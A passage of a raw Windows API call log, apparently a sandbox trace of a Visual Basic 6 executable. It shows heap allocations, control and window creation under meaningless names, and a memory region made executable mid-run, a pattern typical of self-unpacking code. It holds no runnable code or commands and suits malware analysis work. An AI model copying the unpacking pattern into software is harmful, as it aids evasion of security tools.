RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x1f8) returned 0x26c36a8 [0100.266] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26c2068 [0100.266] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x114) returned 0x26c38c0 [0100.266] lstrlenA (lpString="VB") returned 2 [0100.266] lstrlenA (lpString="ComboBox") returned 8 [0100.266] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0xc) returned 0x26c31e0 [0100.266] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x108) returned 0x26c58a8 [0100.266] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x4c) returned 0x26b5e90 [0100.266] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x230) returned 0x26c59b8 [0100.266] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26c2088 [0100.266] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x114) returned 0x26c39e8 [0100.266] lstrlenA (lpString="VB") returned 2 [0100.266] lstrlenA (lpString="ListBox") returned 7 [0100.267] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0xb) returned 0x26c31f8 [0100.267] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x108) returned 0x26c5bf0 [0100.267] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x54) returned 0x26c5d00 [0100.267] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x230) returned 0x26c5d60 [0100.267] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26c20a8 [0100.267] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x114) returned 0x26c3b10 [0100.267] lstrlenA (lpString="VB") returned 2 [0100.267] lstrlenA (lpString="HScrollBar") returned 10 [0100.267] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0xe) returned 0x26c3210 [0100.267] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x24) returned 0x26c5f98 [0100.267] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x90) returned 0x26c5fc8 [0100.267] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x28) returned 0x26c6060 [0100.267] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x144) returned 0x26c6090 [0100.267] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26c20c8 [0100.268] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x114) returned 0x26c3c38 [0100.268] lstrlenA (lpString="VB") returned 2 [0100.268] lstrlenA (lpString="VScrollBar") returned 10 [0100.268] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0xe) returned 0x26c3228 [0100.268] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x24) returned 0x26c61e0 [0100.268] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x90) returned 0x26c6210 [0100.268] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x28) returned 0x26c62a8 [0100.268] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x144) returned 0x26c62d8 [0100.268] RtlReAllocateHeap (Heap=0x26b0000, Flags=0x0, Ptr=0x26c2f40, Size=0xc8) returned 0x26c6428 [0100.268] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26c20e8 [0100.268] RtlReAllocateHeap (Heap=0x26b0000, Flags=0x0, Ptr=0x26c2fe8, Size=0xc8) returned 0x26c64f8 [0100.268] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x114) returned 0x26c3d60 [0100.268] lstrlenA (lpString="VB") returned 2 [0100.268] lstrlenA (lpString="Timer") returned 5 [0100.268] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x9) returned 0x26c3240 [0100.268] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0xc) returned 0x26c3258 [0100.268] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x30) returned 0x26c2f40 [0100.268] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x4) returned 0x26b5ee8 [0100.268] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x9c) returned 0x26c2f78 [0100.268] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26c2108 [0100.269] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x114) returned 0x26c3e88 [0100.269] lstrlenA (lpString="VB") returned 2 [0100.269] lstrlenA (lpString="DriveListBox") returned 12 [0100.269] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x10) returned 0x26c3270 [0100.269] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x28) returned 0x26c3020 [0100.269] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0xc0) returned 0x26c65c8 [0100.269] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x40) returned 0x26c6690 [0100.269] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x1a0) returned 0x26c66d8 [0100.269] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26c2128 [0100.269] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x114) returned 0x26c3fb0 [0100.269] lstrlenA (lpString="VB") returned 2 [0100.269] lstrlenA (lpString="DirListBox") returned 10 [0100.269] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0xe) returned 0x26c3288 [0100.269] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x28) returned 0x26c3050 [0100.269] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0xc8) returned 0x26c6880 [0100.269] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x50) returned 0x26c6968 [0100.270] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x1b0) returned 0x26c7950 [0100.270] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26c2148 [0100.270] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x114) returned 0x26c40d8 [0100.270] lstrlenA (lpString="VB") returned 2 [0100.270] lstrlenA (lpString="FileListBox") returned 11 [0100.270] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0xf) returned 0x26c32a0 [0100.270] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x28) returned 0x26c7b08 [0100.270] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0xec) returned 0x26c7b38 [0100.270] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x58) returned 0x26c7c30 [0100.270] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x1f8) returned 0x26c7c90 [0100.270] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26c2168 [0100.270] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x114) returned 0x26c4200 [0100.270] lstrlenA (lpString="VB") returned 2 [0100.270] lstrlenA (lpString="Menu") returned 4 [0100.270] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x8) returned 0x26c3080 [0100.270] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x38) returned 0x26c7e90 [0100.271] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x4) returned 0x26b5ef8 [0100.271] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0xb8) returned 0x26c7ed0 [0100.271] RtlReAllocateHeap (Heap=0x26b0000, Flags=0x0, Ptr=0x26c6428, Size=0xf0) returned 0x26c7f90 [0100.271] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26c2188 [0100.271] RtlReAllocateHeap (Heap=0x26b0000, Flags=0x0, Ptr=0x26c64f8, Size=0xf0) returned 0x26c8088 [0100.271] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x114) returned 0x26c4328 [0100.271] lstrlenA (lpString="VB") returned 2 [0100.271] lstrlenA (lpString="Shape") returned 5 [0100.271] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x9) returned 0x26c32b8 [0100.271] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x1c) returned 0x26c6428 [0100.271] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x68) returned 0x26c6450 [0100.271] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0xfc) returned 0x26c64c0 [0100.271] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26c21a8 [0100.272] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x114) returned 0x26c4450 [0100.272] lstrlenA (lpString="VB") returned 2 [0100.272] lstrlenA (lpString="Line") returned 4 [0100.272] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x8) returned 0x26c8180 [0100.272] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x18) returned 0x26c21c8 [0100.272] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x50) returned 0x26c69c0 [0100.272] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0xd0) returned 0x26c8190 [0100.272] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26c21e8 [0100.272] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x114) returned 0x26c4578 [0100.272] lstrlenA (lpString="VB") returned 2 [0100.272] lstrlenA (lpString="Data") returned 4 [0100.272] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x8) returned 0x26c8268 [0100.272] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0xd8) returned 0x26c8278 [0100.272] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x3c) returned 0x26c8358 [0100.272] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x1d8) returned 0x26c83a0 [0100.272] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26c2208 [0100.273] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x114) returned 0x26c46a0 [0100.273] lstrlenA (lpString="VB") returned 2 [0100.273] lstrlenA (lpString="OLE") returned 3 [0100.273] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x7) returned 0x26c8580 [0100.273] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x17c) returned 0x26c8590 [0100.273] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x40) returned 0x26c8718 [0100.273] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x2f0) returned 0x26c8760 [0100.273] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26c2228 [0100.275] IMalloc:Alloc (This=0x760566bc, cb=0x64) returned 0x29a048 [0100.275] IMalloc:Alloc (This=0x760566bc, cb=0x64) returned 0x29e7a8 [0100.275] IMalloc:Alloc (This=0x760566bc, cb=0x64) returned 0x29e818 [0100.275] IMalloc:Alloc (This=0x760566bc, cb=0x64) returned 0x29e888 [0100.275] IMalloc:Alloc (This=0x760566bc, cb=0x64) returned 0x29e8f8 [0100.275] IMalloc:Alloc (This=0x760566bc, cb=0x64) returned 0x29e968 [0100.275] IMalloc:Alloc (This=0x760566bc, cb=0x64) returned 0x29e9d8 [0100.275] IMalloc:Alloc (This=0x760566bc, cb=0x64) returned 0x29ea48 [0100.275] IMalloc:Alloc (This=0x760566bc, cb=0x64) returned 0x29eab8 [0100.275] IMalloc:Alloc (This=0x760566bc, cb=0x64) returned 0x29eb28 [0100.275] IMalloc:Alloc (This=0x760566bc, cb=0x64) returned 0x29eb98 [0100.275] IMalloc:Alloc (This=0x760566bc, cb=0x64) returned 0x29ec08 [0100.275] IMalloc:Alloc (This=0x760566bc, cb=0x64) returned 0x29ec78 [0100.275] IMalloc:Alloc (This=0x760566bc, cb=0x64) returned 0x29ece8 [0100.275] IMalloc:Alloc (This=0x760566bc, cb=0x64) returned 0x29ed70 [0100.275] IMalloc:Alloc (This=0x760566bc, cb=0x64) returned 0x29ede0 [0100.275] IMalloc:Alloc (This=0x760566bc, cb=0x64) returned 0x29ee50 [0100.275] IMalloc:Alloc (This=0x760566bc, cb=0xc) returned 0x29e008 [0100.275] IMalloc:Alloc (This=0x760566bc, cb=0x16c) returned 0x29fd58 [0100.275] IMalloc:GetSize (This=0x760566bc, pv=0x29fd58) returned 0x16c [0100.275] IMalloc:Alloc (This=0x760566bc, cb=0x20) returned 0x29a8d0 [0100.275] GetCurrentThreadId () returned 0xd38 [0100.275] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x54) returned 0x26c8a58 [0100.275] GetCurrentThreadId () returned 0xd38 [0100.276] IMalloc:Alloc (This=0x760566bc, cb=0x1c) returned 0x29a8f8 [0100.276] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x104) returned 0x26c8ab8 [0100.276] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x6f8) returned 0x26c8bc8 [0100.276] VirtualProtect (in: lpAddress=0x1a0000, dwSize=0x6000, flNewProtect=0x4, lpflOldProtect=0x18fdf8 | out: lpflOldProtect=0x18fdf8*=0x20) returned 1 [0100.276] GetCurrentProcess () returned 0xffffffff [0100.276] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x1a0000, dwSize=0x6000) returned 1 [0100.276] VirtualAlloc (lpAddress=0x1a0000, dwSize=0x7000, flAllocationType=0x1000, flProtect=0x4) returned 0x1a0000 [0100.276] VirtualAlloc (lpAddress=0x1a0000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1a0000 [0100.277] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0xd4) returned 0x26c92c8 [0100.277] VirtualAlloc (lpAddress=0x1a0000, dwSize=0x9000, flAllocationType=0x1000, flProtect=0x4) returned 0x1a0000 [0100.277] VirtualAlloc (lpAddress=0x1a0000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0x1a0000 [0100.277] VirtualProtect (in: lpAddress=0x1a0000, dwSize=0xa000, flNewProtect=0x20, lpflOldProtect=0x18fdf8 | out: lpflOldProtect=0x18fdf8*=0x4) returned 1 [0100.282] GetCurrentProcess () returned 0xffffffff [0100.282] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x1a0000, dwSize=0xa000) returned 1 [0100.283] GetCurrentThreadId () returned 0xd38 [0100.283] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x23ec) returned 0x26c93a8 [0100.295] GetCurrentThreadId () returned 0xd38 [0100.295] SetWindowTextA (hWnd=0x102b6, lpString="CHROOCOC") returned 1 [0100.296] NtdllDefWindowProc_A (hWnd=0x102b6, Msg=0xc, wParam=0x0, lParam=0x18fd6c) returned 0x1 [0100.296] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\VBA\\Monitors", phkResult=0x18fd54 | out: phkResult=0x18fd54*=0x0) returned 0x2 [0100.346] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0100.346] VirtualQuery (in: lpAddress=0x18f780, lpBuffer=0x18f764, dwLength=0x1c | out: lpBuffer=0x18f764*(BaseAddress=0x18f000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0100.347] IMalloc:Alloc (This=0x760566bc, cb=0x68) returned 0x29eec0 [0100.347] IMalloc:GetSize (This=0x760566bc, pv=0x29eec0) returned 0x68 [0100.349] GetCurrentThreadId () returned 0xd38 [0100.349] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x104) returned 0x26cb7a0 [0100.349] GetCurrentThreadId () returned 0xd38 [0100.349] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x19c) returned 0x26cb8b0 [0100.349] GetCurrentThreadId () returned 0xd38 [0100.353] GetCurrentThreadId () returned 0xd38 [0100.353] GetCurrentThreadId () returned 0xd38 [0100.354] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x140) returned 0x26cba58 [0100.354] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x10) returned 0x26c32d0 [0100.354] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x434) returned 0x26cbba0 [0100.354] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xb4 [0100.356] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x198) returned 0x26cbfe0 [0100.356] GetVersionExA (in: lpVersionInformation=0x18fa7c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x16b662c, dwMinorVersion=0x18f9cc, dwBuildNumber=0x18fd00, dwPlatformId=0x18ff70, szCSDVersion="Í\x1eÂwé²t") | out: lpVersionInformation=0x18fa7c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0100.356] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0100.357] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26c2248 [0100.358] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x14) returned 0x26c2268 [0100.358] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x80) returned 0x26cc180 [0100.358] HeapFree (in: hHeap=0x26b0000, dwFlags=0x0, lpMem=0x26cc180 | out: hHeap=0x26b0000) returned 1 [0100.358] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x72992cd8, cbMultiByte=-1, lpWideCharStr=0x18faa4, cchWideChar=14 | out: lpWideCharStr="MS Sans Serif") returned 14 [0100.358] OleCreateFontIndirect () returned 0x0 [0100.359] lstrlenA (lpString="ayahuas") returned 7 [0100.359] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x8) returned 0x26cc180 [0100.361] OleLoadPictureEx () returned 0x0 [0100.500] lstrlenA (lpString="ayahuas") returned 7 [0100.500] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x8) returned 0x26cc190 [0100.500] lstrlenA (lpString="ThunderRT6") returned 10 [0100.500] lstrcpyA (in: lpString1=0x18fab8, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0100.501] lstrlenA (lpString="ThunderRT6Form") returned 14 [0100.501] lstrcpynA (in: lpString1=0x18fac6, lpString2="DC", iMaxLength=116 | out: lpString1="DC") returned="DC" [0100.501] lstrlenA (lpString="ThunderRT6") returned 10 [0100.501] lstrcpyA (in: lpString1=0x18fa4c, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0100.501] GetClassInfoA (in: hInstance=0x72940000, lpClassName="ThunderRT6Form", lpWndClass=0x18fa78 | out: lpWndClass=0x18fa78) returned 0 [0100.501] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0100.501] RegisterClassA (lpWndClass=0x18fa78) returned 0xe3c1f4 [0100.501] lstrlenA (lpString="ThunderRT6") returned 10 [0100.501] lstrcpyA (in: lpString1=0x18fa4c, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0100.501] lstrlenA (lpString="ThunderRT6Form") returned 14 [0100.501] lstrcpynA (in: lpString1=0x18fa5a, lpString2="DC", iMaxLength=29 | out: lpString1="DC") returned="DC" [0100.501] RegisterClassA (lpWndClass=0x18fa78) returned 0xc1f5 [0100.501] AdjustWindowRectEx (in: lpRect=0x18fb78, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x18fb78) returned 1 [0100.502] CreateWindowExA (dwExStyle=0x0, lpClassName=0xc1f5, lpWindowName="ayahuas", dwStyle=0x2cf0000, X=-2147483648, Y=-2147483648, nWidth=261, nHeight=406, hWndParent=0x102b6, hMenu=0x0, hInstance=0x72940000, lpParam=0x0) returned 0x102be [0100.503] NtdllDefWindowProc_A (hWnd=0x102be, Msg=0x81, wParam=0x0, lParam=0x18f69c) returned 0x1 [0100.503] NtdllDefWindowProc_A (hWnd=0x102be, Msg=0x83, wParam=0x0, lParam=0x18f688) returned 0x0 [0100.506] GetSystemMenu (hWnd=0x102be, bRevert=0) returned 0x102b9 [0100.516] SetWindowContextHelpId (param_1=0x102be, param_2=0xffffffff) returned 1 [0100.516] NtdllDefWindowProc_A (hWnd=0x102be, Msg=0x1, wParam=0x0, lParam=0x18f69c) returned 0x0 [0100.516] GetWindowRect (in: hWnd=0x102be, lpRect=0x18fb3c | out: lpRect=0x18fb3c) returned 1 [0100.517] GetDC (hWnd=0x102be) returned 0xd010a5b [0100.517] GetTextMetricsA (in: hdc=0xd010a5b, lptm=0x18fa64 | out: lptm=0x18fa64) returned 1 [0100.517] SetBkMode (hdc=0xd010a5b, mode=1) returned 2 [0100.517] OleTranslateColor () returned 0x0 [0100.517] SetBkColor (hdc=0xd010a5b, color=0xf0f0f0) returned 0xffffff [0100.517] OleTranslateColor () returned 0x0 [0100.517] SetTextColor (hdc=0xd010a5b, color=0x0) returned 0x0 [0100.517] OleTranslateColor () returned 0x0 [0100.517] CreatePen (iStyle=0, cWidth=1, color=0x0) returned 0x11300a5c [0100.517] SelectObject (hdc=0xd010a5b, h=0x11300a5c) returned 0x1b00017 [0100.517] SelectObject (hdc=0xd010a5b, h=0x1900011) returned 0x1900010 [0100.517] ClientToScreen (in: hWnd=0x102be, lpPoint=0x18fa44 | out: lpPoint=0x18fa44) returned 1 [0100.517] SetBrushOrgEx (in: hdc=0xd010a5b, x=5, y=3, lppt=0x0 | out: lppt=0x0) returned 1 [0100.517] UnrealizeObject (h=0x1900015) returned 1 [0100.517] SelectObject (hdc=0xd010a5b, h=0x1900015) returned 0x1900011 [0100.517] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x14) returned 0x26c2288 [0100.518] SelectObject (hdc=0xd010a5b, h=0x150a0a50) returned 0x18a002e [0100.518] GetTextMetricsA (in: hdc=0xd010a5b, lptm=0x18f858 | out: lptm=0x18f858) returned 1 [0100.523] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0xdc) returned 0x26cc1a0 [0100.523] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26c22a8 [0100.523] lstrlenA (lpString="tamm") returned 4 [0100.524] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x5) returned 0x26cc288 [0100.524] lstrlenA (lpString="ThunderRT6") returned 10 [0100.524] lstrcpyA (in: lpString1=0x18fa88, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0100.524] lstrlenA (lpString="ThunderRT6") returned 10 [0100.524] lstrcpyA (in: lpString1=0x18fa1c, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0100.524] GetClassInfoA (in: hInstance=0x0, lpClassName="Button", lpWndClass=0x18fa48 | out: lpWndClass=0x18fa48) returned 1 [0100.525] GetClassInfoA (in: hInstance=0x72940000, lpClassName="ThunderRT6OptionButton", lpWndClass=0x18fa48 | out: lpWndClass=0x18fa48) returned 0 [0100.525] RegisterClassA (lpWndClass=0x18fa48) returned 0xc1f6 [0100.525] CreateWindowExA (dwExStyle=0x0, lpClassName=0xc1f6, lpWindowName="tamm", dwStyle=0x44012004, X=120, Y=102, nWidth=121, nHeight=25, hWndParent=0x102be, hMenu=0x1, hInstance=0x72940000, lpParam=0x0) returned 0x102c0 [0100.525] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c0, Msg=0x81, wParam=0x0, lParam=0x18f66c) returned 0x1 [0100.526] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c0, Msg=0x83, wParam=0x0, lParam=0x18f658) returned 0x0 [0100.526] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c0, Msg=0x1, wParam=0x0, lParam=0x18f66c) returned 0x0 [0100.526] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c0, Msg=0x5, wParam=0x0, lParam=0x190079) returned 0x0 [0100.526] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c0, Msg=0x3, wParam=0x0, lParam=0x660078) returned 0x0 [0100.526] IsWindow (hWnd=0x102c0) returned 1 [0100.526] NtdllDefWindowProc_A (hWnd=0x102be, Msg=0x210, wParam=0x10001, lParam=0x102c0) returned 0x0 [0100.526] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x14) returned 0x26c22c8 [0100.526] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c0, Msg=0x30, wParam=0x150a0a50, lParam=0x0) returned 0x0 [0100.527] ShowWindow (hWnd=0x102c0, nCmdShow=5) returned 0 [0100.527] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c0, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0100.527] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0xdc) returned 0x26cc298 [0100.527] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26c22e8 [0100.527] lstrlenA (lpString="Pligtf5") returned 7 [0100.527] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x8) returned 0x26cc380 [0100.527] lstrlenA (lpString="ThunderRT6") returned 10 [0100.527] lstrcpyA (in: lpString1=0x18fa88, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0100.527] CreateWindowExA (dwExStyle=0x0, lpClassName=0xc1f6, lpWindowName="Pligtf5", dwStyle=0x44012004, X=98, Y=97, nWidth=138, nHeight=65, hWndParent=0x102be, hMenu=0x2, hInstance=0x72940000, lpParam=0x0) returned 0x102c2 [0100.527] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c2, Msg=0x81, wParam=0x0, lParam=0x18f66c) returned 0x1 [0100.527] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c2, Msg=0x83, wParam=0x0, lParam=0x18f658) returned 0x0 [0100.528] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c2, Msg=0x1, wParam=0x0, lParam=0x18f66c) returned 0x0 [0100.528] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c2, Msg=0x5, wParam=0x0, lParam=0x41008a) returned 0x0 [0100.528] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c2, Msg=0x3, wParam=0x0, lParam=0x610062) returned 0x0 [0100.528] IsWindow (hWnd=0x102c2) returned 1 [0100.528] NtdllDefWindowProc_A (hWnd=0x102be, Msg=0x210, wParam=0x20001, lParam=0x102c2) returned 0x0 [0100.528] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x14) returned 0x26c2308 [0100.528] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c2, Msg=0x30, wParam=0x150a0a50, lParam=0x0) returned 0x0 [0100.528] ShowWindow (hWnd=0x102c2, nCmdShow=5) returned 0 [0100.528] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c2, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0100.529] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0xdc) returned 0x26cc390 [0100.529] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x8, Size=0x15) returned 0x26c2328 [0100.529] lstrlenA (lpString="Tokante7") returned 8 [0100.529] RtlAllocateHeap (HeapHandle=0x26b0000, Flags=0x0, Size=0x9) returned 0x26c32e8 [0100.529] lstrlenA (lpString="ThunderRT6") returned 10 [0100.531] lstrcpyA (in: lpString1=0x18fa88, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0100.531] CreateWindowExA (dwExStyle=0x0, lpClassName=0xc1f6, lpWindowName="Tokante7", dwStyle=0x44012004, X=84, Y=43, nWidth=130, nHeight=103, hWndParent=0x102be, hMenu=0x3, hInstance=0x72940000, lpParam=0x0) returned 0x102c4 [0100.531] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c4, Msg=0x81, wParam=0x0, lParam=0x18f66c) returned 0x1 [0100.531] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c4, Msg=0x83, wParam=0x0, lParam=0x18f658) returned 0x0 [0100.531] CallWindowProcA (lpPrevWndFunc=0x77c2abd3, hWnd=0x102c4, Msg=0x1, wParam=0x0, lParam=0x18f66c) returned 0x0 [0100.532] CallWindowProcA 